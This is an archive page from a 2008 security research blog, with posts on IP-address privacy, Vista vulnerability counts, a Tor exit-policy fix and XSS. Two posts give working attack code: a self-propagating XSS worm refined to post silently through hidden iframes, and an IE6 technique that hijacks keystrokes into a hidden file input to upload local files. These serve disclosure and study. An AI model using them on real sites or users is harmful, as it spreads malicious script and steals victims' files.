IP Addresses are NOT Personal Information

The debate over whether or not Internet Protocol (IP version 4) addresses are personal information continues. As reported on New York Times Blog: Europe: Your I.P. Address Is Personal. It has been since commented on at Educated Guesswork (Uh, yeah IP addresses are identifying) and Adam Shostack added it to his Adam's Law of Perversity in Computer Security.

Let's review a few quick facts about IP addresses:

  • IP addresses are not private
  • IP addresses are not anonymous
  • IP addresses do not uniquely identify a person
  • IP addresses do not uniquely identify a computer

Granted an IP address may become identifying when it is stored in conjunction with other personal information, but by itself an IP address is not personally identifying information.

And to suddenly start talking about confidentiality and protecting your IP address (as if you own it) is simply ludicrous. By their very nature IP addresses cannot be private, because they are used to route data. Playing the privacy card for IP addresses is intellectually dishonest, and it detracts from real privacy arguments. It is disheartening to see so many people hopping on the "IP address is personal" bandwagon.

To quote LMH: It's called fanboyism, and it makes you kinda stupid.

Posted by gfleischer on 2008/01/29 at 20:52 in Rants

Top Ten Web Hacks of 2007 Results

The results are in: Top Ten Web Hacks of 2007. All good stuff.

My list in no particular order:

Posted by gfleischer on 2008/01/25 at 00:27 in Hacking

Another Magic Include Shell Sighting and Other Pwnage

A couple for my own reference.

Posted by gfleischer on 2008/01/24 at 20:26 in 0wned

Diminutive XSS Worms and IFRAMEs

The Diminutive XSS Worm Replication Contest finished up two weeks ago. See Diminutive Worm Contest Wrapup for the winners (Giorgio Maone and Sirdarckcat) and the details. RSnake posted an excellent paper that looks back at the contest and what was learned that could be used to stop XSS worms. I'll have more to say about the defense aspect later.

For all of the initial controversy, post-contest coverage was lighter than I expected:

Another thing I found fascinating is that in both RSnake's paper and the commentary, XMLHttpRequest was somehow preferred over form submission simply because it was "silent". (See Creating and Combating the Ultimate XSS Worm). But as "bwb labs" rightly points outs, there are a variety of techniques to use when the form submission approach would absolutely be required (e.g., cross-domain blind-CSRF). In fact, nearly trivial modifications can be made to support silent, one-time posting using forms. The approach is based on remote scripting with iframes (a popular technique from the pre-AJAX era).

To start with, we'll examine a contest entry from Gareth Heyes:

<form><input name="content"><iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit(alert('XSS',f.action=(f.method='post')+'.php'))">

The entry used a side-effect of the contest rules to reduce the number of bytes, so removing that will help show what is happening. It will no longer be diminutive, but the purpose here is to understand the behavior and not to create small worms.

Re-arranging the code, adding line breaks and removing the minimal payload:

<form method="post" action="post.php">
<input name="content">
<iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit();">

Obviously, the revised code will no longer self-propagate, because the method and action from the form are not being reproduced. To address this, an additional parent level element should be added. The favored solution from the contest was to use the a b and the bold function, but empirical testing indicates that a div element seems to be more effective. Additionally, making the content type hidden and explicitly closing the form and iframe tag yield better results:

<div>
<form method="post" action="post.php">
<input name="content" type="hidden">
<iframe
	onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>

Here is where some of the remote scripting techniques can be applied. By assigning a target to the form and a corresponding name to the iframe, the form can be made to submit to the iframe instead of the current window. So, we add a name to the iframe and target to the form (plus a form name for good measure):

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>

This change will cause the form to submit into the iframe and leave the current page content unchanged. But an interesting problem is encountered if the content that has been submitted is echoed back. If this happens, an infinite loop has been constructed and the repeated posts will cause undue stress on the server.

To resolve this, the submitted content should check where it is running. One piece of information that the iframe has is the window.name value, which corresponds to the name on the iframe. By adding a check for the current window name, the code can determine whether it has already been submitted or not:

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('_t' != window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	}">
</iframe>
</form>

Unfortunately, this code suffers from a related problem. When the form submits into the iframe, the onload function will be triggered. This will happen repeatedly until the current page location is changed. To account for this a guard variable is added:

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	_o = 1;
	}">
</iframe>
</form>

The strange xor usage is done to avoid any '&' characters that may have additional encoding applied when innerHTML is used.

Finally, a CSS style is applied to hide the form and iframe. There are many ways to do this including "display: none" or "overflow: hidden" with zero height and width, but I prefer to use absolute positioning with large negative offsets. This style is applied to the form, so valid content can be included prior to it:

<div>
<i>Valid content goes <u>here</u></i>.
<form method="post" action="post.php" name="_f" target="_t"
      style="position: absolute; left: -9999px;">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	_o = 1;
	}">
</iframe>
</form>

Of course, a similar approach could be used to modify any of the entries that use img elements and onerror to trigger the form submission. An iframe would be added, assigned a name, and this would be the set as the target on the form.

Hopefully, it is clear that form submission worms are still a threat that should be considered even though XMLHttpRequest may be the preferred approach. But if cross-domain submission is used as a protection mechanism, clever use of the IFRAME element can still make XSS worms a possibility.

If you are having a hard time visualizing how the propagation actually works, I've posted the code to my poorly crafted PHP application. It matches the constraints in the contest while supporting multiple users with minimal fuss: xss-worm-test-0.01.tar.gz (sig). You will need PHP and MySQL. See the README for more information. I would put this online myself, but it has obvious security holes; I would strongly recommend against putting this on a publicly accessible site.

Posted by gfleischer on 2008/01/24 at 19:54 in Hacking

Jeff Jones, Manufactured Controversy, and Yes, the SDL Works

Jeff Jones has recently released a new paper comparing vulnerability counts for Windows Vista in the first year with the equivalent time frame for Windows XP. The results are that the Vista had fewer vulnerabilities in the first year than Windows XP did. Somehow that is not surprising given that XP was released prior to implementation of the Security Development Lifecyle (SDL).

In fact, if the vulnerability counts in Vista weren't significantly less, the SDL would have been declared an abysmal failure and the Microsoft security employees would have slinked off meekly into the night. But this didn't happen and that is a good thing. It lends credence to the idea that well structured security software engineering and development processes work in reducing the total number of vulnerabilities.

Of course, after Jones' previous stinker of a paper (which I discussed here), there was bound to be controversy. You can watch the piling on in the usual places (ZDNet or Slashdot). There are the usual arguments about counts, methodologies and rhyming apple with orange. Trolling and flamebait at its finest. Fanbois and zealots arise.

But all of this serves to cloud the real issue. The comparisons between Windows, the Linux versions and Mac OS X aren't getting to the core of the problem. They are simply a distraction. Most people don't stand there pondering which operating system to buy, because it may be more secure. The choice of operating system has already been made for them. For most people, it is going to be some OEM version of Windows.

So maybe a more appropriate question to pose is, if one has to purchase a computer to run Windows, should it be Windows XP SP2 or Vista? That is where the Jones paper fails to reach its full potential. Comparing an outdated, unsupported Windows XP release with Vista and at the same time comparing Vista with Linux and Mac OS X just confuses the issue of assigning some sort of "best security" mantle.

There is significant value to be found in Jones' paper if it is read dispassionately. He has promised a more interesting work that includes the Days-of-Risk (DoR) metric for the products. Personally, I am looking forward to it, because it should help clarify how much exposure an individual user had to a given vulnerability. Unfixed vulnerabilities (not undiscovered vulnerabilities) are the basis for most risk faced by users.

I hope the DoR metrics are enlightening, because a careful reading of the side-by-side comparisons showed that Ubuntu LTS (reduced) had the fewest number of unfixed vulnerabilities in the first year. I find that to be an intriguing discrepancy among the other conclusions of Windows Vista security superiority.

Posted by gfleischer on 2008/01/24 at 13:50 in Security

Self-Referencing Content - When HTML Becomes Script

From the parlor tricks department:

/* <script src="#"></script> */
alert("It Works");

If this is parsed in an HTML context, the script tag will re-include the content and cause it to be interpreted as script. The only catch is that the HTML needs to also parse as valid JavaScript.

Try it out.

Interesting, but most likely useless. Anywhere that one could inject this, one could also probably inject arbitrary script.

Tested successfully with Mozilla Firefox, Safari, Opera and Internet Explorer 6 and 7. Opera has a weird quirk of only executing it once; later invocations treat the file as script and display the contents instead of executing. Forcing a refresh of the page causes it to be re-interpreted as HTML though.

And I could swear that I had seen this before, but I can't find any references on the web searching through Google. I'm probably not hitting on the correct keywords. If anybody knows where else this is referenced, send me a link and I'll include it.

Posted by gfleischer on 2008/01/23 at 11:52 in Quirks

XSS Vulnerabilities Can Be Used to Hack Servers

Recently there has been some controversy surrounding ScanAlert's HackerSafe program with respect to its position on sites with XSS (cross-site scripting). This Information Week article gives the background. Essentially, ScanAlert believes that XSS vulnerabilities are only a threat to clients and/or their web browser.

In the article, the following statement is made:

Pierini maintains that XSS vulnerabilities aren't material to a site's certification. "Cross-site scripting can't be used to hack a server," he said. "You may be able to do other things with it. You may be able to do things that affect the end-user or the client. But the customer data protected with the server, in the database, isn't going to be compromised by a cross-site scripting attack, not directly."

Claiming that XSS can't be used to hack a server is just a semantic distinction. Of course, ScanAlert has to take that position otherwise they would appear to selling snake-oil site protection. I'm not passing any judgement on ScanAlert's mindset, but I would like to point out the XSS can be used to hack servers.

Any web-browser based attack that could be launched by an attacker could be re-packaged as a XSS scripting payload. Here are a few possible examples of using XSS to attack a server:

  • Brute-force login credentials
  • Server port-scanning
  • Data retrieval through SQL injection (SQLI)

When a user visits the site, the XSS script payload would be launched and run in the context of the original site. Obviously, the same origin protections allow the user's browser to connect back to the site, communicate with it via XMLHttpRequest, and potentially establish Java network sockets using LiveConnect. Clearly, these are all attacks against the server.

An attacker could remain extremely stealthy while conducting reconnaissance or attacking the server. By using many individual client web browsers as attack agents, the attacker never needs to connect to the site directly. With the addition of a third-party command and control site to coordinate across many clients, a user's web browser could be used to scan a single port on the server, attempt to login with a few user-names or passwords, or retrieve a single row from the database using SQLI.

The reconnaissance or attack may go completely unnoticed, because by distributing the activity across a wide number of clients, it has been spread out both in time and space. It would appear as a bunch of little, organic attacks not as a big, coordinated one. Heuristic based IDS, IPS or DLP protections may never fire if the attack is subtle enough.

These aren't any new ideas (see "10 Quick Facts..." in this paper). Really these are the same old XSS attacks against LAN clients, but targeting the originating server instead. Just something to keep in mind when someone claims XSS can't be used to hack a server.

And for more excellent commentary see Jeremiah Grossman's comments as well as Jericho's (from attrition.org).

Posted by gfleischer on 2008/01/21 at 22:39 in Security

Tor 0.1.2.19 Released

Tor (The Onion Router) version 0.1.2.19 has been released. Download it here.

The release notes make mention of one security fix:

Exit policies now reject connections that are addressed to a relay's public (external) IP address too, unless ExitPolicyRejectPrivate is turned off. We do this because too many relays are running nearby to services that trust them based on network address.

The fix addresses an issue most recently discussed on the or-talk mailing list. Martin Fink posted a message Security concerns/help me understand tor that raised the issue of cheap home routers that provide access control based on LAN IP address ranges. The basic premise is that if a Tor exit node is NAT'd behind a cheap home router, any ports listening on the LAN side of the router may be exposed to Tor traffic. This situation arises for a couple of reasons.

The first reason is due to nature of Internet routing. In a typical home network, packets destined for the external IP address of the gateway router that originate within the home network will be routed directly to the gateway router. These packets will arrive on the LAN interface even though they are addressed to the external IP address. If the router is performing authorization based on either packet source address or the interface the packet arrived on, it will appear as if this is legitimate LAN traffic. This holds true of any proxy-type systems that are deployed on an internal network but accept traffic from an external source.

The second reason is that Tor attempts to solve the exit node eavesdropper problem by detecting if you going to IP address that also has a Tor exit node running on it. If it detects this situation, Tor will construct a routing path that terminates at that IP address. The OnionRouterFAQ has an entry that describes this:

Tor does provide a partial solution in a very specific situation, though. When you make a connection to a destination that also runs a Tor relay, Tor will automatically extend your circuit so you exit from that circuit. So for example if Indymedia ran a Tor relay on the same IP address as their website, people using Tor to get to the Indymedia website would automatically exit from their Tor relay, thus getting *better* encryption and authentication properties than just browsing there the normal way.

But, that behavior combined with a NAT'd Tor server behind a cheap home router raises an interesting problem.

For example, consider home network router with an external IP address of 77.77.77.77 and an internal IP address of 192.168.0.1, and a Tor server NAT'd at 192.168.0.69. If Tor detects that a web user wants to visit the web page at IP address 77.77.77.77, the onion routing path will be constructed to exit at that IP address. When the Tor server running on 192.168.0.69 receives a packet to be routed to 77.77.77.77, it will treat it just like any other packet to exit. The server will unencrypt it and forward it out. But since the Tor server is NAT'd to 192.168.0.69, when the packet is forwarded to the gateway router, it will be receiving it on the LAN interface. If that LAN interface has a web server listening on it, that web server will respond. What if this is the administrative interface for the router and access restrictions are based on the origin of the packet? Any Tor user (that wanted to) could browser to the admin interface of the router and reconfigure it.

In general, Tor attempts to guard against routers sending locally addressed packets by automatically adding exit policy deny rules for the RFC 1918 address space. The 0.1.2.19 update adds a deny rule to the exit policy for the external IP address of the Tor server. If the old behavior is desired, it would need to be configured manually.

The change is important for those home users who don't understand the intricacies of network routing or use cheap gear that trusts packets based on where they originate. But given the relative prevalence of client-side browser exploits, that trust is probably misplaced to begin with.

Posted by gfleischer on 2008/01/19 at 20:33 in Tor

File Stealing in Internet Explorer 6 - Final Part

This is the sixth and final part of a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The previous posts start by examining the base vulnerability (ability to selectively redirect keypress events) and built upon that vulnerability to construct an effective file stealing attack. The prior posts: part one, part two, part three, part four, and part five.

The final demonstration makes several cosmetic improvements. First, the file to steal is no longer hard-coded to "C:\boot.ini". Instead, it can be edited and set to a desired value (e.g., "C:\windows\repair\sam"). Prior demonstrations never supported actually submitting the file. The ability to automatically upload files was added and can be activated by unchecking "Standalone Demo?".

Most importantly the file input element is placed in its own div and styled with CSS to be absolutely positioned at negative coordinates so that it is not visible on the screen:

  position: absolute;
  left: -1000px;
  top: -100px;

The use of "display: none;" is not possible. If the file input element is not displayed, the following error is generated when attempting to set the focus on the element: Can't move focus to the control because it is invisible, not enabled or of a type that does not accept the focus.

In order to convey what characters have been captured, the file input element contents are displayed inside the green box at the bottom of the textarea.

A second form is added to the page and the file input element is placed inside of it:

<form id="form2" method="post" 
target="file_target"
enctype="multipart/form-data" 
action="upload.cgi">

The form is defined to have a target of file_target which has been added as an iframe:

<iframe name="file_target" height="350" width="700"></iframe>

By using an iframe and separate form, the attack could be constructed so that there is no visual indication that a file has been uploaded. For demonstration purposes, the results of the file upload are shown. It should be noted though that the original form input values are unaffected by the file submission and functionality is not otherwise impacted.

This concludes the discussion of Internet Explorer 6 file stealing vulnerabilities. Future posts will examine Internet Explorer 7 and how these vulnerabilities affect it. Lessons learned from IE6 will be applied to help construct possible attacks.

Posted by gfleischer on 2008/01/19 at 19:36 in Vulnerabilities

File Stealing in Internet Explorer 6 - Part 5

This is part five in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. Prior posts build upon each other: part one, part two, part three, and part four.

The fifth demonstration marks the move to a more plausible layout. The layout mimics that of many common blog comment sections. This is an area where normal users could be expected to enter a reasonable amount of text including special characters. Although not shown in these demonstrations, the addition of a CAPTCHA could be used to further improve the attack.

In prior demonstrations, only a single textarea was used. This allowed for hard-coding of the events and handling of the cursor and selections. By adding more controls, the hard-coding approach is no longer feasible. Instead, a list of controls is constructed and a global current_obj variable is used to track the currently active control:

var controls = new Array();
var current_obj = null;
var offsets = new Object();

The controls to hook are registered:

    register_control(document.getElementById("user_name"));
    register_control(document.getElementById("email_address"));
    register_control(document.getElementById("website"));
    register_control(document.getElementById("text1"));

The control registration function associates a generic event handler with the control:

function register_control(control) {
    control.value = "";
    control.attachEvent("onkeyup", dispatch_text_event);
    control.attachEvent("onkeydown", dispatch_text_event);
    control.attachEvent("onmousedown", dispatch_text_event);
    control.attachEvent("onmouseup", dispatch_text_event);
    control.attachEvent("onfocus", dispatch_text_event);
    controls.push(control);
    offsets[control.id] = -1;
}

The dispatch_text_event event handler is responsible for determining the appropriate action to take when an event is raised:

function dispatch_text_event() {
    switch (event.type) {
    case "keydown":
	text_keydown(event, event.srcElement);
	break;
    case "keyup":
    case "mousedown":
    case "mouseup":
    case "focus":
	current_obj = event.srcElement;
	snapshot();
	break;
    default:
	window.status = "UNHANDLED: " + event.type + "(" + event.srcElement.id + ")";
    }
}

For keydown events, the event will be handled by the text_keydown function. But for all other events, the current_obj is set to the source of the event and the snapshot function is used to record the current cursor position and document selection.

The snapshot function has been updated to handle both textarea elements and text input elements:

function snapshot() {

    start_pos = 0;
    end_pos = 0;

    if (document.selection){
	var range = document.selection.createRange();
	if (null != range) {
	    var stored_range = range.duplicate();
	    if (null != stored_range) {
		if ("TEXTAREA" == current_obj.tagName) {
		    // from
		    // http://www.bazon.net/mishoo/articles.epl?art_id=1292
		    var cv = current_obj.value;
		    var caret_pos = get_caret_pos(current_obj, range);
		    for (var i = 0; i < caret_pos; ++i) {
			if ("\r" == cv.charAt(i)) {
			    ++caret_pos;
			}
		    }
		    start_pos = caret_pos;
		    end_pos = start_pos + range.text.length;
		} else {
		    // from http://the-stickman.com/web-development/javascript/finding-selection-cursor-position-in-a-textarea-in-internet-explorer/
		    stored_range.expand('textedit');
		    stored_range.setEndPoint('EndToEnd', range);
		    start_pos = stored_range.text.length - range.text.length;
		    end_pos = start_pos + range.text.length;
		}
	    }
	}
    }

}

Several important changes have been made to fully support textareas. First, "The Right, undocumented solution" is used to determine the caret position within the textarea. An improvement to this method is made by dynamically determining the offset within the bookmark data. The get_caret_pos function is responsible for this:

function get_caret_pos(obj, range) {
    var offset = offsets[obj.id];
    if (offset < 0) {
	var r = obj.createTextRange();
	if (null != r) {
	    r.move("character", 0);
	    offset = offsets[obj.id] = Math.floor(r.getBookmark().charCodeAt(2));
	}
    }
    var bookmark = range.getBookmark();
    var cc = bookmark.charCodeAt(2);
    return Math.floor(cc) - offset;
}

The second important change for the textarea is to track the number of carriage-return ("\r") characters that appear and adjust the position accordingly. After a keystroke is re-directed from a textarea, the cursor can always be reset to the exact position.

For text input elements, the same basic approach from prior demonstrations can be used. Since there are no carriage-returns to be concerned with, the text range method is sufficient. A slight change is required though. Note that:

	stored_range.moveToElementText(text1);

is changed to:

	stored_range.expand('textedit');

Additional keystroke restrictions are added to the file input element. These are meant to provide protection against inadvertent user input or interaction with the file input. By intercepting any mouse clicks or keydown events in the file input field, undesired actions can be avoided. For instance, if the user was able to tab into the file input field and then execute a backspace or delete keystroke, already captured data would be lost. The file_click and file_keydown event handlers:

function file_click(e) {
    if (null != current_obj) {
	current_obj.focus();
    }
    return false;
}

function file_keydown(e) {

    var kc = e.keyCode;

    var redirect_key = false;

    switch (kc) {
    case 8: // backspace
        break;
    case 9: // tab
        break;
    case 13: // return
        break;
    case 16: // shift
	redirect_key = true;
        break;
    case 17: // ctrl
        break;
    case 18: // alt
        break;
    case 19:  //pause
        break;
    case 20: // caps lock
        break;
    case 27: // escape
        break;
    case 33: // page up
        break;
    case 34: // page down
        break;
    case 35: // end
        break;
    case 36: // home
        break;
    case 37: // left arrow
        break;
    case 38: // up arrow
        break;
    case 39: // right arrow
        break;
    case 40: // down arrow
        break;
    case 44: // print screen
        break;
    case 45: // insert
        break;
    case 46: // delete
        break;
    case 91: // left windows
    case 92: // right windows
    case 93: // right menu
        break;
    case 112: // f1 .. f22
    case 113:
    case 114:
    case 115:
    case 116:
    case 117:
    case 118:
    case 119:
    case 120:
    case 121:
    case 122:
    case 123:
    case 124:
    case 125:
    case 126:
    case 127:
    case 128:
    case 129:
    case 130:
    case 131:
    case 132:
    case 133:
    case 134:
    case 135:
        break;
    case 144: // num lock
        break; 
    case 145: // scroll lock
        break;
    case 224: // meta
        break
    default:
	redirect_key = !e.ctrlKey && !e.metaKey;
        if (0 == kc && !e.shiftKey) {
	    redirect_key = false;
	}
    }

    return redirect_key;
}

The remaining changes simple reference the current_obj in place of the hard-coded textarea. In doing so, any text entered in any of the input controls can be used to complete the desired file path.

By slightly modifying the approach to support multiple text input and textarea elements, the effectiveness of the attack is greatly increased. A file stealing attack has a much higher chance of success when it is combined with a familiar user interface and could be seamlessly integrated into existing content with a minimal amount of effort.

Posted by gfleischer on 2008/01/18 at 12:34 in Vulnerabilities


Subscribe
RSS 2.0
Quick Links
Content
Info

Categories
Archives
Sitemap
Valid XHTML 1.0 Transitional Valid CSS!